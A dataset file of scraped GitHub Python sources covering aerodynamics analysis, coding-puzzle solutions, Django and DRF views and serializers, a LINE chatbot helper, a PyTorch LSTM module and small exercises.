{"seq_id":"10190282562","text":"import pickle\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nfrom scipy import interpolate\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import pairwise_distances_argmin_min\n\nimport aeropy.xfoil_module as xf\nfrom aeropy.aero_module import Reynolds\nfrom aeropy.geometry.airfoil import CST, create_x\n\nimport scipy.io\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.integrate import simps\n\nfrom weather.scraper.flight_conditions import properties, Airframe\n\n\ndef expected(data, airFrame):\n    alpha, V, lift_to_drag = data\n\n    pdf = airFrame.pdf.score_samples(np.vstack([alpha.ravel(), V.ravel()]).T)\n    pdf = np.exp(pdf.reshape(lift_to_drag.shape))\n    expected_value = 0\n    numerator_list = []\n    denominator_list = []\n    for i in range(len(lift_to_drag)):\n        numerator = simps(lift_to_drag[i]*pdf[i], alpha[i])\n        denominator = simps(pdf[i], alpha[i])\n        numerator_list.append(numerator)\n        denominator_list.append(denominator)\n    numerator = simps(numerator_list, V[:, 0])\n    denominator = simps(denominator_list, V[:, 0])\n    expected_value = numerator/denominator\n    return(expected_value)\n\nC172 = pickle.load(open('C172_new.p', 'rb'))\n\nairfoil_database = pickle.load(open('fitting.p', 'rb'))\n\n# list of strings\nAl_database = np.array(airfoil_database['Al'])\nAu_database = np.array(airfoil_database['Au'])\ndl_database = np.array(airfoil_database['dl'])\ndu_database = np.array(airfoil_database['du'])\n\nairfoil = 'from_database_5'\naltitude = 10000\nchord = 1\n\n[AOAs, velocities] = C172.samples.T\nAOAs = AOAs[0]\nvelocities = velocities[0]\n\n# data = {'Names':airfoil_database['names'], 'AOA':AOAs, 'V':velocities,\n#         'L/D':[], 'Expected':[]}\nf = open('aerodynamics_3.p', 'rb')\ndata = pickle.load(f)\nf.close()\n\nfor j in range(240, len(Au_database)):\n    data['L/D'].append([])\n    print(j, airfoil_database['names'][j])\n    Au = Au_database[j, :]\n    Al = Al_database[j, :]\n    x = create_x(1., distribution = 'linear')\n    y = CST(x, chord, deltasz=[du_database[j], dl_database[j]],\n                     Al=Al, Au=Au)\n\n    xf.create_input(x, y['u'], y['l'], airfoil, different_x_upper_lower = False)\n    for i in range(len(AOAs)):\n        AOA = AOAs[i]\n        V = velocities[i]\n        AOA, V = C172.denormalize(np.array([AOA, V]).T)\n        try:\n            Data = xf.find_coefficients(airfoil, AOA,\n                                        Reynolds=Reynolds(10000, V, chord),\n                                        iteration=100, NACA=False,\n                                        delete=True)\n            lift_drag_ratio = Data['CL']/Data['CD']\n        except:\n            lift_drag_ratio = None\n            increment = 0.1\n            conv_counter = 0\n            while lift_drag_ratio is None and conv_counter <3:\n                print(increment)\n                Data_f = xf.find_coefficients(airfoil, AOA*(1+increment),\n                                              Reynolds=Reynolds(10000, V*(1+increment), chord),\n                                              iteration=100, NACA=False,\n                                              delete=True)\n                Data_b = xf.find_coefficients(airfoil, AOA*(1-increment),\n                                              Reynolds=Reynolds(10000, V*(1-increment), chord),\n                                              iteration=100, NACA=False,\n                                              delete=True)\n                print(Data_f['CL'], Data_f['CD'])\n                print(Data_b['CL'], Data_b['CD'])\n                try:\n                    lift_drag_ratio = .5*(Data_f['CL']/Data_f['CD'] +\n                                          Data_b['CL']/Data_b['CD'])\n                except(TypeError):\n                    increment += 0.1\n                conv_counter += 1\n        print(airfoil_database['names'][j], AOA, V, lift_drag_ratio)\n        data['L/D'][-1].append(lift_drag_ratio)\n        if data['L/D'][-1].count(None) > 3:\n            break\n    f = open('aerodynamics_4.p', 'wb')\n    pickle.dump(data,f)\n    f.close()\n","repo_name":"leal26/AeroPy","sub_path":"examples/2D/flight_conditions/aerodynamic_pdf.py","file_name":"aerodynamic_pdf.py","file_ext":"py","file_size_in_byte":4083,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"18"}
{"seq_id":"9186522432","text":"import sys\nsys.stdin=open('bj1051.txt','r')\n\nN,M=map(int,input().split())\nA=[input()for _ in range(N)]\nR=1\nfor i in range(N):\n    for j in range(M):\n        for s in range(min(N-i,M-j)):\n            if A[i][j]==A[i+s][j]==A[i][j+s]==A[i+s][j+s]:R=max(R,s+1)\nprint(R*R)\n","repo_name":"choo0618/TIL","sub_path":"algoritm/20상반기 코딩테스트/숫자 정사각형/bj1051.py","file_name":"bj1051.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"5070811675","text":"from rest_framework import serializers\n\nfrom vinculum.models import Vinculum, RemoteResources, InputOutputPath\n\n\nclass InputOutputPathSerializer(serializers.ModelSerializer):\n\n    class Meta:\n        model = InputOutputPath\n        fields = (\"input_path\", \"output_path\")\n\n\nclass RemoteResourceSerializer(serializers.ModelSerializer):\n    io_paths = InputOutputPathSerializer(many=True)\n\n    class Meta:\n        model = RemoteResources\n        fields = ('authentication_behavior', 'remote_resource_path', 'io_paths')\n\n    # def create(self, validated_data):\n    #     input_paths = validated_data.pop('input_paths')\n    #     remote_resource = RemoteResources.objects.create(**validated_data)\n    #     for input_path in input_paths:\n    #         InputPath.objects.create(remote_resource=remote_resource, **input_path)\n    #     return remote_resource\n\n\nclass VinculumSerializer(serializers.ModelSerializer):\n\n    owner = serializers.ReadOnlyField(source='owner.username')\n    remote_resources = RemoteResourceSerializer(many=True)\n\n    class Meta:\n        model = Vinculum\n        fields = ('id', 'task_id', 'title', 'owner', \"root_path\", \"remote_resources\")\n\n    def create(self, validated_data):\n        # manually buildup the entire vinculum here. Newer versions of DRF don't\n        # support automatic deserialization nested anymore\n        remoteresources = validated_data.pop('remote_resources')\n        vinculum = Vinculum.objects.create(**validated_data)\n        for remoteresource in remoteresources:\n            io_paths = remoteresource.pop('io_paths')\n            r = RemoteResources.objects.create(vinculum=vinculum, **remoteresource)\n            for io_path in io_paths:\n                InputOutputPath.objects.create(remote_resource=r, **io_path)\n        return vinculum\n\n    # def update(self, instance, validated_data):\n    #     # manually buildup the entire\n    #     remoteresources = validated_data.pop('remote_resources')\n    #     for remoteresource in remoteresources:\n    #         pass\n    #     return instance","repo_name":"linearregression/vinculum_control_panel","sub_path":"vinculum/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"4691199043","text":"import tempfile,os\nimport random\n\nfrom linebot import LineBotApi, WebhookParser\nfrom linebot.models import *\nfrom dotenv import load_dotenv\nfrom imgurpython import ImgurClient\nfrom PIL import Image\n\nload_dotenv()\nclient_id = os.getenv(\"client_id\", None)\nclient_secret = os.getenv(\"client_secret\", None)\naccess_token = os.getenv(\"access_token\",None)\nrefresh_token = os.getenv(\"refresh_token\",None)\nchannel_access_token = os.getenv(\"LINE_CHANNEL_ACCESS_TOKEN\", None)\n\n\ndef send_text_message(reply_token,text):\n    line_bot_api = LineBotApi(channel_access_token)\n    line_bot_api.reply_message(reply_token, TextSendMessage(text=text))\n\n    return \"OK\"\ndef send_button_template(reply_token,buttons_template):\n    line_bot_api = LineBotApi(channel_access_token)\n    line_bot_api.reply_message(reply_token, template = buttons_template)\n    return \"OK\"\ndef send_yes_no_button(id,template):\n    line_bot_api = LineBotApi(channel_access_token)\n    line_bot_api.push_message(id, template)\n    return \"OK\"\ndef send_image_url(reply_token, target):\n    line_bot_api = LineBotApi(channel_access_token)\n    if(target == ''):\n        print('There is nothing funny.')\n        text = 'There is nothing funny.'\n        line_bot_api.reply_message(reply_token, TextSendMessage(text=text))\n    else:\n        line_bot_api.reply_message(reply_token,ImageSendMessage(original_content_url=target, preview_image_url=target))\n    \n    return \"OK\"\ndef send_img(id, target):\n    line_bot_api = LineBotApi(channel_access_token)\n    line_bot_api.push_message(id,ImageSendMessage(original_content_url=target, preview_image_url=target))\n    return \"OK\"\ndef push_msg_img(id, target, text):\n    line_bot_api = LineBotApi(channel_access_token)\n    line_bot_api.push_message(id, TextSendMessage(text))\n    line_bot_api.push_message(id,ImageSendMessage(original_content_url=target, preview_image_url=target))\n    return \"OK\"\ndef push_msg(id,text):\n    line_bot_api = LineBotApi(channel_access_token)\n    line_bot_api.push_message(id,TextSendMessage(text))\n    return \"ok\"\ndef upload_img(event):\n    line_bot_api = LineBotApi(channel_access_token)\n    static_tmp_path = os.path.join(os.path.dirname(__file__))\n    ext = 'png'\n    message_content = line_bot_api.get_message_content(event.message.id)\n    with tempfile.NamedTemporaryFile(dir=static_tmp_path, prefix=ext + '-', delete=False) as tf:\n        for chunk in message_content.iter_content():\n            tf.write(chunk)\n        tempfile_path = tf.name\n    \n    dist_path = tempfile_path + '.' + ext\n    dist_name = os.path.basename(dist_path)\n    os.rename(tempfile_path, dist_path)\n    im = Image.open(dist_path)\n    width, height = im.size\n    client = ImgurClient(client_id, client_secret, access_token, refresh_token)\n    path = os.path.join(dist_name)\n    upimg = client.upload_from_path(path, config=None, anon=False)\n    os.remove(path)\n    print(upimg['link'])\n    push_msg(event.source.user_id,\"上傳成功\")\n    return upimg ,width,height ","repo_name":"eric5800602/linebot-little_symbol","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2967,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"40376876134","text":"from bot.inscription.google import sh\n\n\ndef init():\n    \"\"\"\n    est appellé pour initialiser dico\n    retourne dico\n    \"\"\"\n    # selection de la fiche technique\n    wks = sh[10]\n    # création et complétion du dico\n    dico = [\"nom\", \"ID\"]\n\n    read = wks.get_values(\"B8\", \"B200\")  # lit les pseudos\n    dico[0] = read  # met les pseudos dans la première colonne de dico\n\n    read = wks.get_values(\"C8\", \"C200\")  # lis les ID\n    for i in range(0, len(read)):\n        read[i] = read[i][0]\n    dico[1] = read  # met les IDs dans la 2e colonne de dico\n    # print(\"dico initialisé\")\n    # print(dico)\n    return dico\n\n\ndef jourTransfo(jour):\n    \"\"\"\n    est appellé par les autres fonctions\n    transforme le jour en numéro de page\n    retourne le numéro de la page\n    \"\"\"\n    if jour <= 5:  # de lundi a Vendredi le numéro du jour = numéro de la page\n        page = jour\n    elif jour == 6:  # décalage du a la page samedi aprem\n        page = 7\n    elif jour == 7:  # décalage du a la page dimanche aprem\n        page = 9\n    else:\n        page = 0\n\n    return page\n\n\ndef IdToUser(ID, dico):\n    \"\"\"\n    transforme un ID en username\n    \"\"\"\n    # dico = init()  # initialise dico\n    user = str(ID)  # récupère l'id de l'utilisateur\n    if user in dico[1]:\n        pos = dico[1].index(user)\n        return dico[0][pos][0]\n    else:\n        return False\n\n\ndef UserToID(user, dico):\n    \"\"\"\n    transforme un username en ID\n    \"\"\"\n    # dico = init()  # initialise dico\n    user = [str(user)]  # récupère l'id de l'utilisateur\n    if user in dico[0]:\n        pos = dico[0].index(user)\n        return dico[1][pos]\n    else:\n        return False\n\n\ndef slice_in_matrix(matrix: list[list], xmin: int, xmax: int, ymin: int, ymax: int) -> list[list]:\n    \"\"\"Slice a matrix.\"\"\"\n    return [row[xmin:xmax] for row in matrix[ymin:ymax]]\n","repo_name":"Riventh/DIS-BOT","sub_path":"bot/inscription/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"fr","doc_type":"code","dataset":"github-code","pt":"18"}
{"seq_id":"36912557041","text":"# coding: utf-8\n\"\"\"Dummy app to spam a log messages for testing the logging system.\"\"\"\nimport argparse\nimport logging\nimport time\n\nimport _version\nfrom sip_logging import init_logger, __version__\n\n\ndef main(sleep_length=0.1):\n    \"\"\"Log to stdout using python logging in a while loop\"\"\"\n    log = logging.getLogger('sip.examples.log_spammer')\n\n    log.info('Starting to spam log messages every %fs', sleep_length)\n    counter = 0\n    try:\n        while True:\n            log.info('Hello %06i (log_spammer: %s, sip logging: %s)',\n                     counter, _version.__version__, __version__)\n            counter += 1\n            time.sleep(sleep_length)\n    except KeyboardInterrupt:\n        log.info('Exiting...')\n\n\nif __name__ == '__main__':\n    PARSER = argparse.ArgumentParser(description='Spam stdout with Python '\n                                                 'logging.')\n    PARSER.add_argument('sleep_length', type=float,\n                        help='number of seconds to sleep between messages.')\n    PARSER.add_argument('--timestamp-us', required=False, action='store_true',\n                        help='Use microsecond timestamps.')\n    PARSER.add_argument('--show-thread', required=False, action='store_true',\n                        help='Show the thread in the logging output.')\n    args = PARSER.parse_args()\n\n    P3_MODE = False if args.timestamp_us else True\n    show_thread = True if args.show_thread else False\n    init_logger(p3_mode=P3_MODE, show_thread=show_thread)\n\n    main(args.sleep_length)\n","repo_name":"rtobar/integration-prototype","sub_path":"sip/examples/log_spammer/log_spammer.py","file_name":"log_spammer.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"}
{"seq_id":"34784237114","text":"\"\"\"\nPentru rezolvarea acestei probleme am folosit structura UnionFind. La parsarea initiala a datelor, am creat\nUn dictionar in care am mapat fiecare email la un index, index care reprezinta numele unui utilizator, la fiecare email\ndin datele date verificam daca acesta exista deja in dictionar, daca da efectuam o operatie de union intre indexul\nutilizatorului curent si indexul utilizatorului asociat emailului curent. La final parsam dictionarul creat si\npentru fiecare email il adaugam unei noi liste numita res la indexul parintelui corespunzator gasit folosind find.\n\nComplexitatea algoritmului este: O(n*m), unde n - numarul de utilizatori, m - numarul de emailuri\n\"\"\"\n\n\nfrom collections import defaultdict\nfrom typing import List\n\n\nclass UnionFind:\n    def __init__(self, n):\n        self.parinte = [x for x in range(n + 1)]\n\n    def find(self, x):\n        if x == self.parinte[x]:\n            return x\n        self.parinte[x] = self.find(self.parinte[x])\n        return self.parinte[x]\n\n    def union(self, a, b):\n        x, y = self.find(a), self.find(b)\n        if x == y:\n            return\n        self.parinte[y] = x\n\n\nclass Solution:\n    def accountsMerge(self, accounts: List[List[str]]) -> List[List[str]]:\n        uf = UnionFind(len(accounts))\n\n        email_map = {}\n        for i, (_, *emails) in enumerate(accounts):\n            for email in emails:\n                if email in email_map:\n                    uf.union(i, email_map[email])\n                email_map[email] = i\n\n        res = defaultdict(list)\n        for email, owner in email_map.items():\n            res[uf.find(owner)].append(email)\n\n        return [[accounts[i][0]] + sorted(emails) for i, emails in res.items()]\n\n\nif __name__ == '__main__':\n    accounts = [[\"John\", \"johnsmith@mail.com\", \"john_newyork@mail.com\"],\n                [\"John\", \"johnsmith@mail.com\", \"john00@mail.com\"], [\"Mary\", \"mary@mail.com\"],\n                [\"John\", \"johnnybravo@mail.com\"]]\n    print(Solution().accountsMerge(accounts))\n","repo_name":"hutanmihai/FMI","sub_path":"Anul II/Semestrul I/AlgoritmiFundamentali/Laborator/Tema4/EX3.py","file_name":"EX3.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"40961717031","text":"import numpy as np\n\ndata = np.load('lab2_data.npz', allow_pickle=True)['data']\n\n\nphoneHMMs = np.load('lab2_models_onespkr.npz', allow_pickle=True)['phoneHMMs'].item()\n# phoneHMMs = np.load('lab2_models_all.npz', allow_pickle=True)['phoneHMMs'].item()\n\n# print(list(sorted(phoneHMMs.keys())))\n\n# print(phoneHMMs['ah'].keys())\n\nprondict = {}\nprondict['o'] = ['ow']\nprondict['z'] = ['z', 'iy', 'r', 'ow']\nprondict['1'] = ['w', 'ah', 'n']\n# ...\n\nisolated = {}\nfor digit in prondict.keys():\n    isolated[digit] = ['sil'] + prondict[digit] + ['sil']\n\n# print(isolated)\n\nwordHMMs = {}\nwordHMMs['o'] = concatHMMs(phoneHMMs, isolated['o'])\nprint(wordHMMs)","repo_name":"alishibli97/DT2119-Speech-and-Speaker-Recognition","sub_path":"lab2/dt2119_lab2_2020-04-13/lab2.py","file_name":"lab2.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"41570205795","text":"import pytest\nfrom flask import url_for\nfrom wash.models import Product\n\n\n@pytest.mark.parametrize('data', [\n    {\n        'name': 'product 1',\n        'description': 'some description',\n        'retail_price': 123,\n    },\n])\ndef test_add_product(client, data):\n    response = client.put(url_for('api.create_product_view'), json=data)\n    assert response.status_code == 201\n\n    product_url = response.json['product_url']\n    response = client.get(product_url)\n    assert response.status_code == 200\n\n\n@pytest.mark.parametrize('data', [\n    {\n        'name': 'another name',\n        'description': 'another description',\n        'retail_price': 333,\n    },\n])\ndef test_update_product(client, product, data):\n    response = client.put(url_for('api.product_view', product_id=product.id), json=data)\n    assert response.status_code == 200\n\n    product_url = response.json['product_url']\n\n    response = client.get(product_url)\n    assert response.status_code == 200\n    product_data = response.json\n    assert product_data['name'] == data['name']\n    assert product_data['description'] == data['description']\n    assert product_data['retail_price'] == data['retail_price']\n\n\ndef test_delete_product(client, product):\n    assert product.id in Product.all()\n\n    response = client.delete(url_for('api.product_view', product_id=product.id))\n    assert response.status_code == 204\n\n    assert product.id not in Product.all()\n\n\n@pytest.mark.parametrize('data', [\n    {\n        'name': 'another name',\n        'description': 'another description',\n    },\n    {\n        'description': 'another description',\n        'retail_price': 123,\n    }\n])\ndef test_update_product_with_invalid_data(client, product, data):\n    response = client.put(url_for('api.product_view', product_id=product.id), json=data)\n    assert response.status_code == 400\n","repo_name":"krigar1184/washinc","sub_path":"services/app/tests/test_product.py","file_name":"test_product.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"40443561238","text":"from menu import Menu\nfrom coffee_maker import CoffeeMaker\nfrom money_machine import MoneyMachine\n\nclass Main:\n    def __init__(self):\n        self.menu = Menu()\n        self.coffee_maker = CoffeeMaker()\n        self.money_machine = MoneyMachine()\n \n    def machine_running(self):\n        running = True\n        while running:\n            options = self.menu.get_items()\n            choice = input(f'What would you like? {options} ')\n            if choice == 'off':\n                print('Shutting down')\n                running = False\n            elif choice == 'report':\n                self.coffee_maker.report()\n                self.money_machine.report()\n            elif choice == 'service':\n                self.coffee_maker.service()\n            else:\n                drink = self.menu.find_drink(choice)\n                if drink:\n                    if self.coffee_maker.is_enough(drink):\n                        if self.money_machine.make_payment(drink.cost):\n                            self.coffee_maker.make_coffee(drink)\n                    self.coffee_maker.call_service()\n\n                    \nif __name__ == '__main__':\n    Main().machine_running()","repo_name":"brucesensei/100_oop_coffee","sub_path":"oop-coffee-machine-start/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"29255447740","text":"import torch\nimport torch.nn as nn\n\n\nclass DynamicLSTM(nn.Module):\n    def __init__(\n        self,\n        input_size,\n        hidden_size,\n        num_layers=1,\n        bias=True,\n        batch_first=True,\n        dropout=0,\n        bidirectional=False,\n        only_use_last_hidden_state=False,\n        rnn_type=\"LSTM\",\n    ):\n        \"\"\"\n        LSTM which can hold variable length sequence, use like TensorFlow's RNN(input, length...).\n\n        :param input_size:The number of expected features in the input x\n        :param hidden_size:The number of features in the hidden state h\n        :param num_layers:Number of recurrent layers.\n        :param bias:If False, then the layer does not use bias weights b_ih and b_hh. Default: True\n        :param batch_first:If True, then the input and output tensors are provided as (batch, seq, feature)\n        :param dropout:If non-zero, introduces a dropout layer on the outputs of each RNN layer except the last layer\n        :param bidirectional:If True, becomes a bidirectional RNN. Default: False\n        :param rnn_type: {LSTM, GRU, RNN}\n        \"\"\"\n        super(DynamicLSTM, self).__init__()\n        self.input_size = input_size\n        self.hidden_size = hidden_size\n        self.num_layers = num_layers\n        self.bias = bias\n        self.batch_first = batch_first\n        self.dropout = dropout\n        self.bidirectional = bidirectional\n        self.only_use_last_hidden_state = only_use_last_hidden_state\n        self.rnn_type = rnn_type\n\n        if self.rnn_type == \"LSTM\":\n            self.RNN = nn.LSTM(\n                input_size=input_size,\n                hidden_size=hidden_size,\n                num_layers=num_layers,\n                bias=bias,\n                batch_first=batch_first,\n                dropout=dropout,\n                bidirectional=bidirectional,\n            )\n        elif self.rnn_type == \"GRU\":\n            self.RNN = nn.GRU(\n                input_size=input_size,\n                hidden_size=hidden_size,\n                num_layers=num_layers,\n                bias=bias,\n                batch_first=batch_first,\n                dropout=dropout,\n                bidirectional=bidirectional,\n            )\n        elif self.rnn_type == \"RNN\":\n            self.RNN = nn.RNN(\n                input_size=input_size,\n                hidden_size=hidden_size,\n                num_layers=num_layers,\n                bias=bias,\n                batch_first=batch_first,\n                dropout=dropout,\n                bidirectional=bidirectional,\n            )\n\n    def forward(self, x, x_len):\n        \"\"\"\n        :param x: sequence embedding vectors\n        :param x_len: numpy/tensor list\n        :return:\n        \"\"\"\n        # sort\n        x_sort_idx = torch.sort(-x_len)[1].long()\n        x_unsort_idx = torch.sort(x_sort_idx)[1].long()\n        x_len = x_len[x_sort_idx]\n        x = x[x_sort_idx]\n        # pack\n        # x_emb_p = torch.nn.utils.rnn.pack_padded_sequence(x, x_len, batch_first=self.batch_first)\n        x_emb_p = torch.nn.utils.rnn.pack_padded_sequence(\n            x, x_len.cpu(), batch_first=self.batch_first\n        )\n\n        # using the selected RNN\n        if self.rnn_type == \"LSTM\":\n            out_pack, (ht, ct) = self.RNN(x_emb_p, None)\n        else:\n            out_pack, ht = self.RNN(x_emb_p, None)\n            ct = None\n        # unsort - h\n        ht = torch.transpose(ht, 0, 1)[x_unsort_idx]\n        ht = torch.transpose(ht, 0, 1)\n\n        if self.only_use_last_hidden_state:\n            return ht\n        else:\n            # unpack - out\n            out = torch.nn.utils.rnn.pad_packed_sequence(\n                out_pack, batch_first=self.batch_first, total_length=32\n            )\n            out = out[0]\n            out = out[x_unsort_idx]\n            # unsort - out / c\n            if self.rnn_type == \"LSTM\":\n                ct = torch.transpose(ct, 0, 1)[x_unsort_idx]\n                ct = torch.transpose(ct, 0, 1)\n\n            return out, (ht, ct)\n","repo_name":"idiap/slu_representations","sub_path":"learning/layers/dynamic_rnn.py","file_name":"dynamic_rnn.py","file_ext":"py","file_size_in_byte":3976,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"41630330054","text":"from audioop import reverse\nfrom urllib.request import Request\nfrom django.http import HttpResponse, HttpResponseNotFound\nfrom telnetlib import BM\nfrom unicodedata import decimal\nfrom unittest import result\nfrom django.shortcuts import render\nfrom django.shortcuts import redirect, render\nfrom django.contrib.auth import authenticate\nfrom django.contrib.auth import login\nfrom django.contrib.auth.forms import UserCreationForm\nfrom .forms import Signupform, Userform ,Profileform\nfrom django import forms\nfrom .models import Profile\nimport pandas\nfrom django.views.generic import ListView\nfrom Readings.utils import get_chart\nfrom Readings.models import BloodP,Glucose ,Insuline\nfrom Patient.models import Patient\nfrom Patient.forms import Patientform\nfrom Readings.urls import urlpatterns\n# Create your views here.\nfrom django.shortcuts import render\nfrom Patient.models import Patient\n\ndef signup(request):\n    if request.method == 'POST':\n        form = Signupform(request.POST)\n        if form.is_valid():\n            user = form.save()\n            user.save()\n            raw_password = form.cleaned_data.get('password1')\n            user = authenticate(username=user.username, password=raw_password)\n            login(request, user)\n            return redirect('login')\n    else:\n        form = Signupform()\n    return render(request, 'registration/signup.html', {'form': form})\n\ndef profile(request):\n    BP_set=BloodP.objects.filter(user__username=request.user)\n    glu_set=Glucose.objects.filter(user__username=request.user)\n    ins_set=Insuline.objects.filter(user__username=request.user)\n    BP_ordered=BP_set.order_by('time')[:500]\n    glu_ordered=glu_set.order_by('time')[:500]\n    ins_ordered=ins_set.order_by('time')[:500]\n    profile=Profile.objects.get(user__username=request.user)\n    patient=Patient.objects.get(user__username=request.user)\n    return render(request , 'accounts/profile.html',{\n        'profile':profile,\n        'patient':patient,  \n        'BP':BP_ordered,\n        'glucose':glu_ordered,\n        'ins':ins_ordered })\n\n\ndef edit_profile(request):\n    profile=Profile.objects.get(user__username=request.user)\n    patient=Patient.objects.get(user__username=request.user)\n    if request.method==\"POST\":\n        userform=Userform(request.POST,instance=request.user)\n        profileform=Profileform(request.POST, instance=profile)\n        patientform=Patientform(request.POST, instance=patient)\n        if userform.is_valid and profileform.is_valid and patientform.is_valid:\n            userform.save()\n            change=profileform.save(commit=False)\n            change.user=request.user\n            change.save()\n            change1=patientform.save(commit=False)\n            change1.user=request.user\n            change1.save()\n            return render(request , 'accounts/profile.html',{'profile':profile,'patient':patient})\n\n    else:\n        userform=Userform(instance=request.user)\n        profileform=Profileform(instance=profile) \n        patientform=Patientform(instance=patient)   \n\n\n    return render (request , 'accounts/edit_profile.html',{'userform':userform,\n                                                           'profileform':profileform, \n                                                           'patientform':patientform,\n                                                           'profile':profile})\n\ndef patient_profile(request):\n        if request.method == \"GET\":\n            dsearch=request.GET['dsearch'] \n            request.session['dsearch']=dsearch \n            profile=Profile.objects.get(user__username =dsearch)\n            if (profile.role==\"doctor\"):\n                err=\"this is not a patient username please inetr another one\"\n                return render(request , 'accounts/profile.html',{'err':err})\n            elif(profile.role==\"patient\"):\n                BP_set=BloodP.objects.filter(user__username=dsearch)\n                glu_set=Glucose.objects.filter(user__username=dsearch)\n                ins_set=Insuline.objects.filter(user__username=dsearch)\n                BP_ordered=BP_set.order_by('time')[:500]\n                glu_ordered=glu_set.order_by('time')[:500]\n                ins_ordered=ins_set.order_by('time')[:500]\n                patient=Patient.objects.get(user__username=dsearch)\n                return render (request,'accounts/patient_profile.html',{'profile':profile,'patient':patient,'BP':BP_ordered,\n                                                          'glucose':glu_ordered,'ins':ins_ordered})\n        else:\n            err=\"not valid\"\n            return render(request , 'accounts/profile.html',{'err':err})\n","repo_name":"mhmdadel8998/MEDREC","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"30638793688","text":"from django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.urls import reverse\nfrom django.views.generic import CreateView, TemplateView\n\nfrom .models import Product, Sale, Category, Shop, User\n\n\nclass IndexView(TemplateView):\n    template_name = 'products/index.html'\n\n\nclass ProductsListView(LoginRequiredMixin, TemplateView):\n    template_name = \"products/product_list.html\"\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        products = Product.objects.all()\n        context['categories'] = Category.objects.all()\n        context['shops'] = Shop.objects.all()\n        prod_title = self.request.GET.get('title', '')\n\n        category = self.request.GET.get('category', '')\n        shop = self.request.GET.get('shop', '')\n\n        context['category_pk'] = -1\n        context['shop_pk'] = -1\n        price1 = self.request.GET.get('min_price', 0.0)\n        price2 = self.request.GET.get('max_price', 0.0)\n\n        if prod_title or category or shop or price1 or price2:\n            if prod_title != '':\n                products = products.filter(title__icontains=prod_title)\n            if category != '-1':\n                products = products.filter(category_id=category)\n                context['category_pk'] = int(category)\n            if shop != '-1':\n                products = products.filter(shop_id=shop)\n                context['shop_pk'] = int(shop)\n            if price2 != '' and price1 != '':\n                products = products.filter(price__range=(price1, price2))\n            context['products'] = products\n        else:\n            context['products'] = products\n        return context\n\n\nclass SalesListView(LoginRequiredMixin, TemplateView):\n    template_name = \"products/sales_list.html\"\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        context['categories'] = Category.objects.all()\n        context['shops'] = Shop.objects.all()\n        context['users'] = User.objects.all()\n        sales = Sale.objects.all()\n\n        sale_cat_form_select = self.request.GET.get('sale_cat', '')\n        sale_shop_form_select = self.request.GET.get('sale_shop', '')\n        sale_user_form_select = self.request.GET.get('sale_user', '')\n\n        context['cat_pk'] = -1\n        context['shop_pk'] = -1\n        context['user_pk'] = -1\n\n        if sale_cat_form_select.isdigit() and sale_cat_form_select != '-1':\n            sales = sales.filter(product__category_id=sale_cat_form_select)\n            context['cat_pk'] = int(sale_cat_form_select)\n\n        if sale_shop_form_select.isdigit() and sale_shop_form_select != '-1':\n            sales = sales.filter(product__shop_id=sale_shop_form_select)\n            context['shop_pk'] = int(sale_shop_form_select)\n\n        if sale_user_form_select.isdigit() and sale_user_form_select != '-1':\n            sales = sales.filter(seller_id=sale_user_form_select)\n            context['user_pk'] = int(sale_user_form_select)\n\n        context['sales'] = sales\n        return context\n\n\nclass SaleCreateView(LoginRequiredMixin, CreateView):\n    model = Sale\n    fields = ['product', 'amount', 'price']\n    template_name = 'products/sale_create.html'\n\n    def form_valid(self, form):\n        product = form.cleaned_data['product']\n        amount = form.cleaned_data['amount']\n        form.instance.seller = self.request.user\n        if product.amount >= amount:\n            obj = form.save()\n            product.amount -= amount\n            obj.save()\n            product.save()\n            return super().form_valid(form)\n        else:\n            return super().form_invalid(form)\n\n    def get_success_url(self):\n        return reverse('products:sales-list')\n","repo_name":"dolyadima/acs_store","sub_path":"products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
